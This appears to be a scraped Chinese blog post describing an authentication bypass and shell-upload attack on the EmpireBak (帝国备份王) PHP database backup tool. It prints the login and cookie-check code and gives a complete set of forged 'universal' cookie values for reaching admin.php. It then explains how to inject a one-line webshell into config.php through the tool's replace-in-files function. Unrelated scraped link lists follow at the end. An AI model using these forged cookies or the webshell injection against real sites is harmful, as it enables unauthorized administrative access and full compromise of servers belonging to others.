帝国备份王(Empirebak)万能cookie及拿shell

时间:2022-09-12 13:37:58

1.伪造cookie登录系统(其实这一步多余的,大多用户连密码都没改,都是默认的123456)

登录成功设置4个cookie,看代码

function login($lusername,$lpassword,$key,$lifetime=0){    global $set_username,$set_password,$set_loginauth,$set_loginkey;    if(empty($lusername)||empty($lpassword))    {    printerror("EmptyLoginUser","index.php");    }    //验证码    if(!$set_loginkey)    {    if($key<>getcvar('checkkey')||empty($key))    {    printerror("FailLoginKey","index.php");    }    }    if(md5($lusername)<>md5($set_username)||md5($lpassword)<>$set_password)    {    printerror("ErrorUser","index.php");    }    //认证码    if($set_loginauth&&$set_loginauth!=$_POST['loginauth'])    {    printerror("ErrorLoginAuth","index.php");    }    $logintime=time();    $rnd=make_password(12);//生成随机字符    $s1=esetcookie("bakusername",$lusername,0);    $s2=esetcookie("bakrnd",$rnd,0);//随机字符    $s3=esetcookie("baklogintime",$logintime,0);    Ebak_SCookieRnd($lusername,$rnd);//    if(!$s1||!$s2)    {    printerror("NotOpenCookie","index.php");    }    printerror("LoginSuccess","admin.php");    } 

再看看make_password函数

function make_password($pw_length){    $low_ascii_bound=50;    $upper_ascii_bound=122;    $notuse=array(58,59,60,61,62,63,64,73,79,91,92,93,94,95,96,108,111);    while($i<$pw_length)    {    mt_srand((double)microtime()*1000000);    $randnum=mt_rand($low_ascii_bound,$upper_ascii_bound);    if(!in_array($randnum,$notuse))    {    $password1=$password1.chr($randnum);    $i++;    }    }    return $password1;    } 

这个函数只是生成随机数,再看看Ebak_SCookieRnd函数

function Ebak_SCookieRnd($username,$rnd){    global $set_loginrnd;//$set_loginrnd为config.php里面的验证随机码    $ckpass=md5(md5($rnd.$set_loginrnd).'-'.$rnd.'-'.$username.'-');//没有把密码加进去,于是漏洞产生了    esetcookie("loginebakckpass",$ckpass,0);    } 

下面给出万能cookie(key:value):

ebak_loginebakckpass:119770adb578053dcb383f67a81bcbc6    ebak_bakrnd:35y5cCnnA4Kh    ebak_bakusername:admin    ebak_baklogintime:4070883661 

使用以上cookie即可直接访问admin.php

2.拿shell

后台参数设置一般都设置好了,如果不能连接数据库,可以在数据库设置里填个自己的远程数据库备份数据,随便找个数据库备份,

然后到替换目录文件内容里,选择刚才备份的数据库,

"$b_table="
替换成

"phpinfo();//或者写你的一句话木马

$b_table="

访问那个目录的/config.php即可~

帝国备份王(Empirebak)万能cookie及拿shell的更多相关文章

  1. 帝国备份王&lpar;Empirebak&rpar; &bsol;class&bsol;functions&period;php、&bsol;class&bsol;combakfun&period;php GETSHELL vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 EmpireBak是一款完全免费.专门为Mysql大数据的备份与导入而设 ...

  2. 使用帝国备份王软件提示 Parse error&colon; syntax error&comma; unexpected end of file

    使用帝国备份王软件提示 Parse error: syntax error, unexpected end of file时, 可以尝试一下方法: 1.php.ini要把short_open_tag ...

  3. wamp集成环境下帝国备份出错

    我在本地wamp环境下面使用帝国备份王时,报错信息如下: Parse error: syntaxerror, unexpected $end in D:wampwwwhuifuclassfunctio ...

  4. 检查ftp备份数据完整性及短信告警的shell脚本

    发布:thebaby   来源:net     [大 中 小] 检查ftp备份数据完整性及短信告警的shell,有需要的朋友可以参考下. 该脚本实现如下的功能: 对远程备份到ftp服务器的数据完整性及 ...

  5. ITest

    渗透测试入门 我很简单,请不要欺负我 网站综合渗透实验: 真的很简单: 你是会员吗: 2015中国网络安全大赛 一.代码执行: 同DZ漏洞全家桶中的"又见DZ,我能那你怎么办". ...

  6. 帝国CMS备份出现数据恢复不完整的问题

    今天linux主机中毒了,把用帝国备份王备份之后,恢复了快照到刚建主机的状态: 哎,只怪当初没有勤快的去做快照啊: 重新配置好后: 开始使用帝国备份王: 数据恢复之后,打开文章,提示"附加表 ...

  7. Windows下mysql自动备份的最佳方案

    网上有很多关于window下Mysql自动备份的方法,其实不乏一些不好的地方和问题,现总结出一个最好的方法供大家参考: 新建一个记事本,然后重命名为: mysql_backup.bat 然后单击右键选 ...

  8. OneinStack定时同步备份数据库&sol;网站至七牛云存储方法

    无论我们用WEB面板,还是用一键脚本安装环境建站,只要一旦我们开始用VPS.服务器,最为关键的就是服务器中的数据.因为大部分VPS.服务器商家都是无管理型主机,任何的安装和维护都需要我们自行管理.即便 ...

  9. &lbrack;原创&rsqb;K8飞刀Final

    法律声明: 工具仅供安全研究或授权渗透,非法用途后果自负. 工具: K8飞刀Final作者: K8哥哥博客: https://www.cnblogs.com/k8gege简介: 一款多功能网络安全渗透 ...

随机推荐

  1. JavaScript基础知识总结(四)

    JavaScript语法 八.函数 函数就是完成某个功能的一组语句,函数由关键字function + 函数名 + 加一组参数定义: 函数在定义后可以被重复调用,通常将常用的功能写成一个函数,利用函数可 ...

  2. linux下memcached的安装

    系统镜像及环境要求: 1) 适用于windows系列版本及开发者的相关教程  请参考本文1.0开始安装步骤 2)  Centos 6系列及Aliyun Linux 6系列以上版本 请参考本文2.0开始 ...

  3. 多核模糊C均值聚类

    摘要: 针对于单一核在处理多数据源和异构数据源方面的不足,多核方法应运而生.本文是将多核方法应用于FCM算法,并对算法做以详细介绍,进而采用MATLAB实现. 在这之前,我们已成功将核方法应用于FCM ...

  4. UI3&lowbar;UIbarButtonItem

    // // AppDelegate.m // UI3_UIbarButtonItem // // Created by zhangxueming on 15/7/6. // Copyright (c) ...

  5. WIN ERROR&colon;C&colon;&bsol;Windows&bsol;System32&bsol;&lt&semi;LANG&lowbar;NAME&gt&semi;&bsol;mstsc&period;exe&period;MUI

    Issue: When you upgrade Win7, you may found your remote desktop will not work. You may get following ...

  6. (转)jira7&period;2安装、中文及破解

    转自:http://www.cnblogs.com/ilanni/p/6200875.html 本文由ilanniweb提供友情赞助,首发于烂泥行天下 想要获得更多的文章,可以关注我的微信ilanni ...

  7. easyui——validType属性值

  8. TP 真阳性 TN FP FN

    TP.True Positive   真阳性:预测为正,实际也为正 FP.False Positive  假阳性:预测为正,实际为负 FN.False Negative 假阴性:预测与负.实际为正 T ...

  9. uva 1658 Admiral - 费用流

    vjudge传送门[here] 题目大意:给一个有(3≤v≤1000)个点e(3≤e≤10000)条边的有向加权图,求1~v的两条不相交(除了起点和终点外没有公共点)的路径,使权值和最小. 正解是吧2 ...

  10. 终于在nowcoder爆发了的懒惰

    题目 这类题目我实在忍不了了 Emma,随便做个nowcode比赛题吧,我在oj上也没找到 题意 求\(\sum_{L=1}^{n}\sum_{R=i}^{n}a[k](L<=k<=R)\ ...